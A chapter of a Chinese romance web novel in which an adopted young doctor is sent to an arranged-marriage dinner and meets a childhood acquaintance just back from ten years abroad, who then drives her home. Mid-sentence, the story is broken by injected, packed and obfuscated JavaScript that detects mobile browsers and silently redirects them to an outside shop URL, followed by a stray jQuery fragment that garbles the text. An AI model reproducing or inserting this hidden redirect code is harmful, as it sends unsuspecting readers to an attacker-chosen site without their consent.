“我会带着笑脸,回首寒暄,和你坐着聊聊天。”
——陈奕迅《好久不见》
-
平时一坐难求的云端餐厅,今晚罕见地清了场。
整面270度环幕落地玻璃是无边框的,脚下的宁江如一条蜿蜒的玄色绸缎,坠满了碎钻般的灯火,由近及远铺展至天际线。
宋楷言和孔令仪夫妻俩,此时此刻出现地如此“巧合”,除了对两家联姻的重视,也实在是清楚自家妹妹的脾气秉性。
孔令仪扶着宋棠絮落座,她环顾四周才发现所在的餐桌,从布置陈设到餐具酒品,都是精心安排的。
头顶的光线也被刻意调暗,那几枝深得近乎发黑的暗紫色鸢尾,愈发暧昧朦胧。
孔令仪凑近耳语:“槿知她出了什么价钱,才说服你替她来?”
“土耳其阿联酋10日游。”
“哈哈,她也就骗骗你这个实心眼~”孔令仪被逗笑:“那你也不知道今晚和谁相亲喽?”
宋棠絮轻轻点点头。
如果她能提前点开那个122M的附件,就是送座金山银山,她都铁骨铮铮,绝不折腰。
这时,有电话猝不及防地打了进来,恰好是宋槿知。
刚一接通,就听见背景音里觥筹交错,她义愤填膺,很大声:“絮宝!我刚知道爸爸想让我和云旌哥相亲!这tm不是乱点鸳鸯谱吗?”
毕竟在她心里,邵云旌和她大哥二哥没啥区别,她崇拜又敬佩,却无半分男女之情的私心杂念。
“而且你知道吗?晚宴上我碰见言毅那狗东西了?他*%¥@……”
“嘟嘟嘟——”
宋棠絮还没说话,那边就断了线。
她撩起耳畔散落的碎发:“是槿知,她好像喝酒了。”
“她有经纪人和助理跟着,出不了岔子。”孔令仪习以为常,把话题拉回:“倒是你们这儿,歪打正着。”
?
孔令仪笑意温煦:“反正当初只说是‘娃娃亲’,又没钦定是谁,咱们家的小宝贝也该谈谈情说说爱了,不过那邵家催得有些急……”
那双琥珀色眸子倏然抬起,大嫂话里的每个字都代表着,这不是一场简单的相亲。
她还在怔忪,两道高大的身影,逆着璀璨的灯火在对面落座。
早过而立之年的宋楷言三十有三,越发威仪稳重,而邵云旌与之同席,气场与压迫感却丝毫不显逊色。
宋楷言:“云旌,这一晃,你有十年没回国了吧?”
“对呀,久到连故人都认不出来了~”他谈笑风生。
侍者训练有素地送餐摆酒,水晶杯碰撞出清脆的声响。
男人们寒暄的话题无非就是钱和生意,她事不关己,安静地坐在那里听着。
餐桌上偶尔与他视线相接,也似蜻蜓点水,他眸光深沉如渊,她回以礼貌颔首。
孔令仪在旁眉眼含笑,将斟上的勃艮第红酒帮她换成了鲜榨的石榴汁:“谢谢嫂子。”
“絮宝,邵家爷爷寿宴上两家讨论过联姻,你灵魂出窍了?”
“我……后来有急诊手术。”
“好吧,宋大夫真敬业~”孔令仪凑近了些,看着她:“昨晚你大哥还跟我说,槿知性子太跳脱,反倒是你们俩更般配,踏踏实实多好啊,这缘分妙不可言呢。”
她?和邵云旌般配?!
宋棠絮堂皇着,内心却盘算起该如何拒绝这门亲事,思绪混乱时,对面宋楷言问起她:“脚肿得厉害吗?”
她摇摇头:“就轻轻扭了一下,不碍事。”
宋楷言长兄如父:“回去还是让沈敬之看看,宋大夫医术高超,别仗着自己年轻就不当回事。”
跟许多豪门一样,宋家家族也有专属医疗团队,沈敬之是他们二房的全科医生。
接连被大哥大嫂揶揄“宋大夫”,她有些羞赧地低下头,薄薄的红晕,更显得肤如凝脂,吹弹可破。
孔令仪打圆场:“棠絮,你和云旌算师兄师妹?”
邵云旌:“我从砚中毕业的时候,她才高一吧,那时候她头发好像还很短。”
宋棠絮接话,惜字如金:“嗯,我是半路插班,满打满算才读了半学期。”意思是所谓“同窗”,其实根本不熟。
“砚池这些年桃李遍天下,云旌既然你回国了,以后可要多聚聚。”
邵云旌礼数周到:“那是自然。”
孔令仪意味深长地拖长了语调:“多走动走动,感情是越联络越深。”
夫妻俩跟人精一样,互相交换了个眼神,看透不说破。
眼看气氛逐渐到位,他们默契地起身告辞,坚决不做电灯泡。
“大哥,我和你们一起……”
孔令仪双手按住她的肩膀,把人牢牢困在座位上:“你呢?就老实待着,好好享受你的烛光晚餐。”
“嫂子!”她嗔怪嘟囔了一句,饱满的唇瓣被贝齿咬住,留下一抹湿润的嫣红,像是怒了一下,但毫无反手之力的小刺猬。
宋楷言侧过身:“棠絮,你是怎么过来的?”
“开车。”她不明所以,以前哥哥嫂嫂都说要送她车。
“我待会还得回趟公司,刚好你嫂子开你的车回去。”宋楷言望向起身送客的邵云旌,好人当到底:“云旌啊,我记得你车技一流,不介意送棠絮回东山墅吧?”
“她脚受伤了,不方便。”
邵云旌绅士十足:“当然。”
孔令仪伸出手,眼神示意:“乖乖把钥匙交出来吧。”
“你们夫妻俩,最会欺负人了~”
“谁让你是咱们家老幺呢!”
宋棠絮退头丧气地认栽,把钥匙卡片双手奉上,还跟闹脾气的小猫般,悄悄挠人手掌心。
“那麻烦了。”
“应该的。”邵云旌看着她委屈巴巴样,眼底掠过一丝笑意,忍俊不禁道:“咱们俩家何须客气。”
“到家后,记得报平安。”孔令仪用手比了个电话,坏心眼地嘱咐:“夜黑风高,你别贪杯哦,小心有大灰狼虎视眈眈。”
相亲可以,联姻也可以,但一切必须得按规矩,凡事讲究先来后到。
此时,宋棠絮长睫像受惊的蝶翼般轻颤,脸快埋进双膝里,而邵云旌姿态从容,把人送到电梯口,微微颔首:“嫂子,您放心。”
宋楷言拍了拍他的肩:“走了,回见。”
“回见。”
“叮——”电梯下行,270度环幕落地玻璃只剩下她,和他。
她抬起头,那双古典疏离的琥珀眸子有些不知所措,四目相对的瞬间,想要移开视线,却又鬼使神差地被定在那里。
“其实我们有司机,而且我车技还算不错,所以你不用这么……视死如归。”他坐回她对面。
宋棠絮双手捂住脸:“嗨,好久不见。”
他:“好久不见。”
不多时,主菜一道金汤龙虾被端了上来,紧接着是香芥汁三文鱼。
两人都是食不言寝不语的性子,只听得见刀叉碰撞瓷盘的清脆声响,气氛安静但融洽。
宋棠絮小口咀嚼着鱼肉,余光却不受控制地描摹着对面的人,十年光阴,把砚中校园里意气风发的少年,淬炼成了如今这个沉稳如山的男人。
轮廓更锐利,肩膀更宽厚。
她杯中的石榴汁见了底,一只修长骨节分明的手伸过来,替她满了杯。
“谢谢。”
“还是这么有礼貌,”他唇角,勾起一抹极淡的弧度:“原来不否认,是因为真的有相亲啊,不知道看到对象是我,会不会很失望?”
宋棠絮握着杯柄的手指紧了紧:“没。”
“看来宋槿知那丫头没把你带坏~”
从被宋家收养那天起,她就安静乖巧,从不惹事,读书、交友、升学、就业……看似一帆风顺,实则乏味可陈。
没人知道,她也曾偏执、疯狂、处心积虑地想圈禁某个人,步步紧逼,占为己有。
餐后,邵云旌的车队恭候多时,清一色的迈马赫s,宋棠絮忽然觉得自己最近跟这个车型有缘。
她左脚踝还有些肿胀,原本打车回去,但邵云旌说他跟大哥立下军令状,可不能言而无信。
宋棠絮不知道,他什么时候变得这样健谈。
他伸出手让她扶,就像十年前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633644|204675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那个烟花夜,他比她多前进半步,既给了她支撑,又保持着一定距离。
两人像蜗牛,慢慢悠悠才挪到停车位上,特助何雍还跟在他做事,早早打开了后排车门。
宋棠絮下意识地想抽回手,却被他轻轻一带,整个人失去了平衡,半靠在了他身上。
“慢点。”他低头,气息拂过她的耳廓。
“不好意思……”
她有一半的重心倚在他身上,两人贴得极近,能闻到他身上冷冽的薄荷雪松,混合着方才餐厅里淡淡的酒香。
车慢慢行驶向高架桥上,宋棠絮的视线只能落在他手臂那枚精致的袖扣上。
夜色中,她擂鼓般的心跳声,盖过了身旁的江水滔滔。
“你,还回大院吗?”
邵云旌:“从前晚落地到现在,我还没回过家。”一是要见他的人有点多,二是回去手续有点繁琐,还得报备。
他的话题自然而然:“当医生累吗?”
“还好,我主要是科研岗,每周只有两天夜班,平时都泡在实验室里。”
“叔叔阿姨身体还好吗?”
“嗯,今年体检结果还不错,主要槿知有点胃溃疡,她拍戏一开机就黑白颠倒,吃饭不怎么及时。”
旁边,邵云旌身体微微后仰,窗外流动的光影在他深邃的眸中明明灭灭,像暗夜里蛰伏的兽。
“我还以为今晚会见到她,”他侧过脸,笑:“没想到是你……”
“联姻的事我刚知道,你同意吗?”
“朋友妻,不可欺,言毅和槿知才是一对。”邵云旌转着大拇指的扳指:“我可不横刀夺爱,那你呢?”
“什么?”
“对联姻什么想法。”
“工作要紧,我还没恋爱结婚的打算。”宋棠絮声音有些发紧,很认真:“那不如我们回去后,各自和长辈们说清楚。”
“好,我试试。”他语调低沉磁性,辨不清其中的情绪:“怎么突然学了医?”
宋棠絮偏头看向窗外,只留给他一个线条清冷的侧影:“我记得有人跟我说,跟死神抢人,听起来酷毙了。”
他一愣,忽然低笑了一声:“对啊,听起来酷毙了。”
那笑声很短,却带着胸腔的震动,传进她紧绷的耳膜里。
……
“你现在是接手衡途了吗?”她的问题,客气又有保持边界。
这些年,从家人或者蕴姨嘴里她多少知道他的动向,申Stanford读商科,读EMBA入主董事局,跨国并购,操纵汇率,布局能源……
那个夏天里,她手机app里藏着无数张退订的机票,点开无数次寥寥几句的对话框,想问问他是不是还记得答应过的诺言?
邵云旌轻描淡写:“在其位,谋其事罢了。”
宋棠絮悄悄点开了122M的附件,资料很详实,体贴到对方的饮食偏好都标注得一清二楚。
他的履历精彩得让人瞠目,集团领袖,商业巨子,如果不是因为她被宋家收养,今生他注定只能被她仰望。
她不知道,没有成为医生对他是否是可惜与遗憾,或许他只是一场“换了一种方式去修补世界”的征途,却记得在砚中那个意气风发如白杨挺立的少年,会永远眼底有光。
可这些和她,都不会有关系。
不知不觉,车驶入东山墅的梧桐大道。
车门打开的瞬间,夜风灌了进来,宋棠絮解开安全带,站定在路灯昏黄的光晕里,“麻烦你专程送我一趟,路上小心。”
邵云旌并未着急上车:“今晚见到你,我很高兴,什么时候叫上槿知出来聚聚。”
就算做不成夫妻,但还是一起长大的好朋友,国外十年,他对能真心相待的旧知故友格外珍惜。
他很高兴吗?
宋棠絮不知道这是客套,还是真情实意,也含糊回:“过段时候吧,我最近有点忙。”
“好,”对方了然,看着那双琥珀色的眸子,像含着一层水汽:“那咱们微信联系。”
她片刻恍惚:“你以前那个微信……还在用吗?”
邵云旌一字一句,清晰无比:“当然。”